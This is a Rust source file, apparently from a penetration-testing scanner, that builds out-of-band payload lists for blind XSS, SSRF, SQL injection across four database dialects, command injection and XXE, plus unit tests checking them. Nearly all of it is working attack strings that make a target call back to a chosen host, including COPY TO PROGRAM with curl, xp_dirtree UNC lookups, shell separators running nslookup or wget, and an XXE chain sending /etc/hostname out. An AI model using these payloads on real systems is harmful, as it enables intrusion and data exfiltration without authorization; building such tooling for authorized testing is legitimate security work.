use std::collections::BTreeSet;
#[must_use]
pub fn blind_xss_payloads(callback_url: &str) -> Vec<String> {
let mut out: BTreeSet<String> = BTreeSet::new();
out.insert(format!("<script src=\"{callback_url}\"></script>"));
out.insert(format!("<script>fetch('{callback_url}')</script>"));
out.insert(format!("<img src=x onerror=\"fetch('{callback_url}')\">"));
out.insert(format!("<svg/onload=fetch('{callback_url}')>"));
out.insert(format!(
"<iframe src=\"javascript:fetch('{callback_url}')\"></iframe>"
));
out.insert(format!("<object data=\"{callback_url}\"></object>"));
out.insert(format!(
"<video><source onerror=\"fetch('{callback_url}')\"></video>"
));
out.insert(format!(
"<input autofocus onfocus=\"fetch('{callback_url}')\">"
));
out.insert(format!(
"<a href=\"javascript:fetch('{callback_url}')\">x</a>"
));
out.into_iter().collect()
}
#[must_use]
pub fn blind_ssrf_payloads(callback_url: &str) -> Vec<String> {
let mut out: BTreeSet<String> = BTreeSet::new();
out.insert(callback_url.to_string());
out.insert(format!("{{\"url\": \"{callback_url}\"}}"));
out.insert(format!("redirect_uri={callback_url}"));
out.insert(format!("next={callback_url}"));
out.insert(format!("url={callback_url}"));
out.insert(callback_url.replacen("http://", "gopher://", 1));
out.insert(callback_url.replacen("http://", "dict://", 1));
out.insert(callback_url.replacen("http://", "file://", 1));
out.into_iter().collect()
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
#[non_exhaustive]
pub enum SqliDialect {
MySql,
MsSql,
Postgres,
Oracle,
}
#[must_use]
pub fn blind_sqli_payloads(callback_url: &str, dialect: SqliDialect) -> Vec<String> {
let mut out: BTreeSet<String> = BTreeSet::new();
match dialect {
SqliDialect::MySql => {
out.insert(format!("' UNION SELECT LOAD_FILE('\\\\\\\\{callback_url}\\\\a') -- "));
out.insert(format!(
"1 AND (SELECT LOAD_FILE('\\\\\\\\{callback_url}\\\\a')) -- "
));
out.insert(format!(
"1; SELECT LOAD_FILE(CONCAT('\\\\\\\\', '{callback_url}', '\\\\a')) -- "
));
out.insert(format!(
"' UNION SELECT IF(1=1, LOAD_FILE('\\\\\\\\{callback_url}\\\\a'), 1) -- "
));
out.insert(format!(
"' AND ASCII(SUBSTRING((SELECT LOAD_FILE('\\\\\\\\{callback_url}\\\\a')),1,1))=0 -- "
));
}
SqliDialect::MsSql => {
out.insert(format!("'; EXEC xp_dirtree '\\\\{callback_url}\\a' -- "));
out.insert(format!(
"'; EXEC master..xp_fileexist '\\\\{callback_url}\\a' -- "
));
out.insert(format!(
"'; EXEC master..xp_subdirs '\\\\{callback_url}\\' -- "
));
out.insert(format!(
"'; DECLARE @x VARCHAR(255); SET @x = '\\\\{callback_url}\\a'; EXEC xp_dirtree @x -- "
));
out.insert(format!(
"' UNION SELECT * FROM OPENROWSET('SQLOLEDB', '\\\\{callback_url}\\share';'sa';'pwd', 'SELECT 1') -- "
));
}
SqliDialect::Postgres => {
out.insert(format!(
"'; COPY (SELECT '') TO PROGRAM 'curl {callback_url}' -- "
));
out.insert(format!(
"'; COPY (SELECT '') TO PROGRAM 'wget {callback_url}' -- "
));
out.insert(format!(
"'; CREATE TABLE oob(t text); COPY oob FROM PROGRAM 'curl {callback_url}' -- "
));
out.insert(format!(
"'; DO $$ BEGIN PERFORM dblink_connect('host={callback_url}'); END $$ -- "
));
out.insert(format!(
"'; SELECT pg_read_file('\\\\{callback_url}\\a') -- "
));
}
SqliDialect::Oracle => {
out.insert(format!(
"' || UTL_HTTP.request('{callback_url}') || '"
));
out.insert(format!(
"' || (SELECT UTL_HTTP.request('{callback_url}') FROM DUAL) || '"
));
out.insert(format!(
"' || DBMS_LDAP.init('{callback_url}',80) || '"
));
out.insert(format!(
"' || (SELECT HTTPURITYPE('{callback_url}').getcontent() FROM DUAL) || '"
));
out.insert(format!(
"' || UTL_INADDR.get_host_address('{callback_url}') || '"
));
}
}
out.into_iter().collect()
}
#[must_use]
pub fn blind_cmdi_payloads(callback_dns: &str) -> Vec<String> {
let mut out: BTreeSet<String> = BTreeSet::new();
out.insert(format!("; nslookup {callback_dns}"));
out.insert(format!("&& nslookup {callback_dns}"));
out.insert(format!("| nslookup {callback_dns}"));
out.insert(format!("`nslookup {callback_dns}`"));
out.insert(format!("$(nslookup {callback_dns})"));
out.insert(format!("; dig {callback_dns}"));
out.insert(format!("; curl http://{callback_dns}"));
out.insert(format!("; wget http://{callback_dns}"));
out.insert(format!("; ping -c 1 {callback_dns}"));
out.insert(format!("& powershell -c \"Resolve-DnsName {callback_dns}\""));
out.insert(format!("& ping -n 1 {callback_dns}"));
out.insert(format!("`{{nslookup,{callback_dns}}}`"));
out.into_iter().collect()
}
#[must_use]
pub fn blind_xxe_payloads(callback_url: &str) -> Vec<String> {
let mut out: BTreeSet<String> = BTreeSet::new();
out.insert(format!(
"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"{callback_url}\">]><foo>&xxe;</foo>"
));
out.insert(format!(
"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM \"{callback_url}\"> %xxe;]><foo/>"
));
out.insert(format!(
"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY % file SYSTEM \"file:///etc/hostname\"><!ENTITY % oob \"<!ENTITY % payload SYSTEM '{callback_url}?x=%file;'>\"> %oob; %payload;]><foo/>"
));
out.insert(format!(
"<?xml version=\"1.0\"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM \"{callback_url}\">]><svg xmlns=\"http://www.w3.org/2000/svg\"><text>&xxe;</text></svg>"
));
out.insert(format!(
"<?xml version=\"1.0\"?><!DOCTYPE soap:Envelope [<!ENTITY xxe SYSTEM \"{callback_url}\">]><soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body>&xxe;</soap:Body></soap:Envelope>"
));
out.into_iter().collect()
}
#[cfg(test)]
mod tests {
use super::*;
fn assert_all_contain(payloads: &[String], needle: &str) {
for (i, p) in payloads.iter().enumerate() {
assert!(
p.contains(needle),
"payload {i} '{p}' missing '{needle}'"
);
}
}
fn assert_dedup(payloads: &[String]) {
let set: BTreeSet<&String> = payloads.iter().collect();
assert_eq!(set.len(), payloads.len(), "battery contains duplicates");
}
#[test]
fn blind_xss_battery_meets_min_variant_count_and_carries_callback() {
let p = blind_xss_payloads("http://oob.test/x");
assert!(p.len() >= 8);
assert_all_contain(&p, "http://oob.test/x");
assert_dedup(&p);
}
#[test]
fn blind_xss_covers_distinct_tag_surfaces() {
let p = blind_xss_payloads("http://oob.test/x");
let surfaces = ["<script", "<img", "<svg", "<iframe", "<object", "<video"];
for surface in surfaces {
assert!(
p.iter().any(|s| s.contains(surface)),
"XSS battery missing surface {surface}"
);
}
}
#[test]
fn blind_ssrf_battery_includes_scheme_pivots() {
let p = blind_ssrf_payloads("http://oob.test/x");
assert!(p.iter().any(|s| s.starts_with("gopher://")));
assert!(p.iter().any(|s| s.starts_with("dict://")));
assert!(p.iter().any(|s| s.starts_with("file://")));
assert!(p.iter().any(|s| s.contains("redirect_uri=")));
assert!(p.iter().any(|s| s.contains("\"url\"")));
assert_dedup(&p);
}
#[test]
fn blind_sqli_mysql_uses_load_file_and_unc() {
let p = blind_sqli_payloads("oob.test", SqliDialect::MySql);
assert!(p.len() >= 5);
assert_all_contain(&p, "oob.test");
for s in &p {
assert!(
s.contains("LOAD_FILE") || s.contains("ASCII"),
"MySQL variant missing LOAD_FILE / ASCII: {s}"
);
}
assert_dedup(&p);
}
#[test]
fn blind_sqli_mssql_uses_xp_dirtree_or_openrowset() {
let p = blind_sqli_payloads("oob.test", SqliDialect::MsSql);
assert!(p.len() >= 5);
for s in &p {
assert!(
s.contains("xp_dirtree")
|| s.contains("xp_fileexist")
|| s.contains("xp_subdirs")
|| s.contains("OPENROWSET"),
"MSSQL variant missing OOB primitive: {s}"
);
}
assert_dedup(&p);
}
#[test]
fn blind_sqli_postgres_uses_copy_program_or_dblink() {
let p = blind_sqli_payloads("http://oob.test/", SqliDialect::Postgres);
assert!(p.len() >= 5);
for s in &p {
assert!(
s.contains("COPY")
|| s.contains("dblink_connect")
|| s.contains("pg_read_file"),
"Postgres variant missing OOB primitive: {s}"
);
}
assert_dedup(&p);
}
#[test]
fn blind_sqli_oracle_uses_utl_http_or_dbms_ldap() {
let p = blind_sqli_payloads("http://oob.test/", SqliDialect::Oracle);
assert!(p.len() >= 5);
for s in &p {
assert!(
s.contains("UTL_HTTP")
|| s.contains("DBMS_LDAP")
|| s.contains("HTTPURITYPE")
|| s.contains("UTL_INADDR"),
"Oracle variant missing OOB primitive: {s}"
);
}
assert_dedup(&p);
}
#[test]
fn blind_cmdi_covers_unix_and_windows_separators() {
let p = blind_cmdi_payloads("oob.test");
assert!(p.len() >= 10);
assert!(p.iter().any(|s| s.starts_with(";")));
assert!(p.iter().any(|s| s.starts_with("&&")));
assert!(p.iter().any(|s| s.starts_with("|")));
assert!(p.iter().any(|s| s.starts_with('`')));
assert!(p.iter().any(|s| s.starts_with("$(")));
assert!(p.iter().any(|s| s.contains("powershell")));
assert_all_contain(&p, "oob.test");
assert_dedup(&p);
}
#[test]
fn blind_xxe_includes_parameter_entity_chain() {
let p = blind_xxe_payloads("http://oob.test/");
assert!(p.len() >= 5);
assert_all_contain(&p, "http://oob.test/");
assert!(p.iter().any(|s| s.contains("<!ENTITY %")));
assert!(p.iter().any(|s| s.contains("<svg")));
assert!(p.iter().any(|s| s.contains("soap:Envelope")));
assert_dedup(&p);
}
#[test]
fn callback_url_with_special_chars_is_embedded_verbatim() {
let url = "http://abc-def.oast.fun/?id=xyz&foo=bar";
let p = blind_xss_payloads(url);
assert_all_contain(&p, url);
}
}